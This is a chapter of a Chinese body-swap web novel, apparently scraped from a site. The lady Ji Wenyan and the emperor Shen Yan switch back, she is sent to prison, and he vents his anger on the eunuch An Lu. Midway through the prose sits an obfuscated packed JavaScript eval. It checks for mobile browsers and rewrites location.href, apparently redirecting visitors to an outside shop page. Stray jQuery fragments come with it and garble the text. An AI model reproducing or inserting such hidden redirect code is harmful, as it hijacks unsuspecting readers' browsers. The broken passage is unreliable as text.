19. 换回

作品:《突然!我变成了皇帝

    她迟钝地停住脚步,在门口站定。此时此刻,她才陡然意识到自己与皇帝之间的地位已经发生了巨大的颠倒,这种强烈的事实冲击将她的脑子搅成了一团浆糊。就是这么一愣,皇帝已经有充足的时间重新爬起来,追上来,以及再次追上她。


    “你敢动手?”


    巨大的愤怒令尊贵的皇帝陛下失去理智,纪文晏朦胧察觉到的事实,他却没有。即使换到了女人的身体里,他依旧认为自己是至高无上的皇帝——他有得是办法证实自己的身份,皇祖母知道真相,定然会将皇位归还于他!他从不觉得自己换了身体,就不是皇帝了,因此,作为皇帝被一个小女子推倒则令他感到耻辱。


    “朕要将你——”


    疾风骤雨下,电闪雷鸣,外头轰隆隆的雷声压住了他的声音。


    沈鄢提高音量,发出更强烈的诅咒:“朕要将你五马分——”


    “轰!”


    一个大雷在云端炸响,隔着门也厉声破耳。


    纪文晏脑子一嗡,忽然觉得手上一紧,一抬头,她竟揪住了一团龙袍。


    皇帝则诧异地看着她。


    换,换回来了?


    正确的纪文晏和皇帝都震惊地抬头对视,接着同时低下头检视自己:手、衣服、随即抬头从对方的眼睛里找自己的脸。


    没错,真的换回来了!


    纪文晏率先回过神,脚底抹油喊着“臣女告退”就急急忙忙往外冲,但这种俨然把皇帝当傻子的行为当然是没用的。


    沈鄢厉声大叫:“站住!来人!把她给朕抓起来!”


    “砰!”


    一道人影飞身闯入,接着在皇帝与纪文晏之间茫然地看来看去。


    他身上穿着京城人人畏惧的制服:流光玄衣。


    没错,剑洲虽然是影卫,但他们这些影卫在明面上却还有另一层身份,在外行走时,则为禁军。明禁暗影,皆是为皇帝做事。


    沈鄢剜了他一眼,“愣着作甚?抓人!”


    “是!”


    剑洲慌忙抓住纪文晏。


    从命,是影卫骨子里的本能,可是他依旧想不通,明明那位纪姑娘带他来这时是很自信的,怎么皇帝说翻脸就翻脸?


    纪文晏没有反抗。


    毕竟她跑不掉。


    当她听到皇帝亲口叫人来抓她的时候,就知道自己已经无能为力了。不过,即使被抓了,她也不觉得害怕,只要皇帝没有在盛怒下直接命人将她处死,等他冷静下来以后,一定会想到她们交换身体的事情没有这么简单。她们能换过来一次,两次,是否两具身体间有冥冥之中互相影响的能力?


    有这种制衡下,等他想清楚了,就不会随便杀人的。


    所以她非常顺从地抬起手让这位禁军甲士拴她,他腰上挂着一条锁链,在她手腕上环绕几圈,动作极其小心,很刻意地避免触碰她的肌肤。她注意到了。


    剑洲捆好纪文晏,扭头询问皇帝:“陛下,此人该如何处置?”


    沈鄢隐忍片刻,吐出一口气:“先送到诏狱。”


    “是。”


    剑洲立刻将纪文晏押解出去。


    励事阁里闹出那么大动静,院子里值班的太监和普通侍卫全部都听到了,更亲眼看见穿着流光玄衣的禁军抓走一个没见过的女人。众人顿时吓得鸡飞狗跳,侍卫差点操刀大搜宫抓刺客。不过,在没有皇帝的谕旨下,谁也不敢轻举妄动,他们放了个女刺客进来,更是罪不可恕,于是全去了励事阁前跪着等候发落。


    沈鄢敲打着桌案,如纪文晏所料,在呼吸翕动间他已经渐渐冷静下来。


    此事,不可闹大。


    ‘这女子有古怪,贸然杀了她,也许会有后患。’


    他原本是打算回宫后找机会向祖母证明自己的身份,可现在既然换回来了,那么换身一事最好还是当成永远的秘密,对祖母也再不能说。


    “安葆!”


    沈鄢猛地一拍桌子,把那个小太监唤到跟前,“你立刻出去,把外头的人都记下名字。若今日之事宣扬出去,就统统杖毙。”


    安葆从沈鄢的眼神里看出一丝威胁,他心知肚明,若此事泄漏,即便他名字不在本子上,恐怕也要……


    “奴婢遵旨,奴婢这就去办。”他慌慌张张出去了。


    将人清理到外头,励事阁中便又只剩下他一个了。


    沈鄢望着堆积的奏折,不由得一皱眉头:他那么久没回来,怎么还只这点奏折?底下的人不办事吗?等他翻了几本,才明白这是怎么回事。


    “大胆!”


    沈鄢将手里的奏折摔在地上,盛怒不已。


    这小女子真是胆大包天!


    冒用了他的龙体,居然还敢拿他的御笔批改奏折?谁给她多长了十颗胆子!而且女人懂什么政务?这不是给他添乱吗?


    才刚回来,还得加班干活,真是讨厌!


    沈鄢烦躁地抓起一本批改过的,打算修改,可看了一会儿,抓着御笔的手只是悬在空中,迟迟落不下去。真是离谱,他竟发现自己无从下笔修改——


    纪文晏明显模仿了他的笔迹,虽然字迹不如他随手挥笔写就时那么流畅,但确实模仿得很像,连语气也像是他自己说的,要不是他这期间人在外面,可能真会以为这是他自己批的。


    奇哉怪也,一个女子究竟是如何做到的?她能看得懂奏折?


    莫非是有人帮忙?


    想到这里,他发现一个自己很熟悉的人居然一直没见人影,不知上哪去了。


    沈鄢扬声道:“安麓!”


    “安麓?”


    “安麓——人呢?”


    随着沈鄢不断叫人,外头人影攒动,过来一会儿,安葆跑了进来。


    “怎么是你?”沈鄢不耐烦地说,“不是叫你,让你干爹来。”


    安葆忙说:“回陛下,奴婢的干爹出宫了,不在。”


    沈鄢疑惑,“今日不是他休沐吧?”


    安葆比他还疑惑,迟疑地说:“……您刚刚命他出宫……奴婢也不知道他是去办什么事……”


    “朕何时——”沈鄢反应过来,“是朕叫他去的?是朕?方才?”


    “是……”


    沈鄢闭上眼睛,深吸一口气,“你去把他找回来。”


    安葆见他满脸不悦,不敢怠慢,找了两个小太监暂时替他记录名字,他则亲自跑出去找人。


    而当安葆终于将安麓找回来的时候,励事阁里已然是一片狼藉。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089750|195391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “滚进来!”


    等安麓推门而入,沈鄢一脚踢翻了御案:“你上哪去了?”


    虽然沈鄢翻脸翻得像鬼上身,但不知何故,这样的皇帝陛下倒是给安麓一种非常熟悉的气息。


    他熟练地赔着笑脸上前:“奴婢有罪,奴婢知错,陛下千万要保重龙体,别为了奴婢发这么大的火,奴婢不配,不配。”说完安麓啪啪给了自己两耳光,满面沉痛地跪在地上。虽然不知道做错了什么事,但陛下一发疯就赶紧哄准没错。


    先扇完,安麓才恭谨地说:“奴婢刚刚去了蒋副统领那处……”


    禁军有统领和副统领,影卫则只有一个首领,两边的正首都是陆喆,禁军多了个蒋宵帮他分担。安麓说去蒋宵那,事情就必然是办明面的,看来那假货还不知道影卫的存在。


    沈鄢心头微安,旁敲侧击地问道:“事情办得如何了?”


    安麓忙笑起来:“陛下请放心,蒋副统领说了,他是亲自护送巴陵侯一家人回来的,那位二小姐平安得很,还不知道您为她耗费的一番苦心。纪家那些人知道是您派人接他们回京,欣喜得要命!还有……”


    沈鄢不耐烦地摆了摆手,打断他的禀告。


    好呀。


    冒用御笔,冒下圣旨,他只让那个女的蹲大牢,都算是便宜她了!


    既然已经知道安麓是去做什么,他也懒得再演,很不耐烦地说:“下回不许再过问巴陵侯的事,你是伺候朕的,其他人你别管。”


    翻脸如翻书,嗯,这种感觉越来越熟悉了。


    安麓熟练地垂下头认错:“奴婢遵命,下回不管了。”


    沈鄢背过身去,两只手紧紧握成拳头。


    死女人……


    死巴陵侯……


    都得死!


    那边他迟早要处理掉的,但不是现在。


    他得先搞清楚纪文晏这个女人到底给他惹了多少麻烦。


    她是不是还上朝了?


    沈鄢猛地转身,指着安麓刚要问话,忽然感到一阵天旋地转,差点昏了过去。安麓吓了一跳,赶紧跳起来扶住他:“陛下,奴婢这就去叫人找太医……”


    “用不着。”沈鄢摇头,命他搀扶自己去旁边坐下。


    安麓连忙照做,小心翼翼扶着他来到屋内唯一尚未翻倒的椅子上。


    沈鄢没有拒绝安麓的伺候。


    他虽然骂了他,但他很清楚,安麓实则没有过错。他只是个太监,听“皇帝”的话是他的天职,谁能想到他这具身体竟然曾换过一次芯子?他虽发怒,也不过是迁怒罢了,只是因为真正的罪魁祸首令他难以下手。


    要不是她身娇肉弱,怕她一打就死,怎么都得拖去刑房片个十几二十片的让他出出气。


    沈鄢喟叹一声。


    他是太累了。


    本就是风尘仆仆进京,刚回京城就立刻潜入宫中,沿途一直哄骗剑洲不让他产生怀疑,这全都是耗费心力的事。他现在很疲倦,心累,只想睡觉。


    “摆驾,回紫微宫。”沈鄢道。


    这么早?


    安麓有些意外。


    这些天皇帝陛下日理万机,往往要到深夜才会困顿,今天睡得这么早,倒像是回到了以前。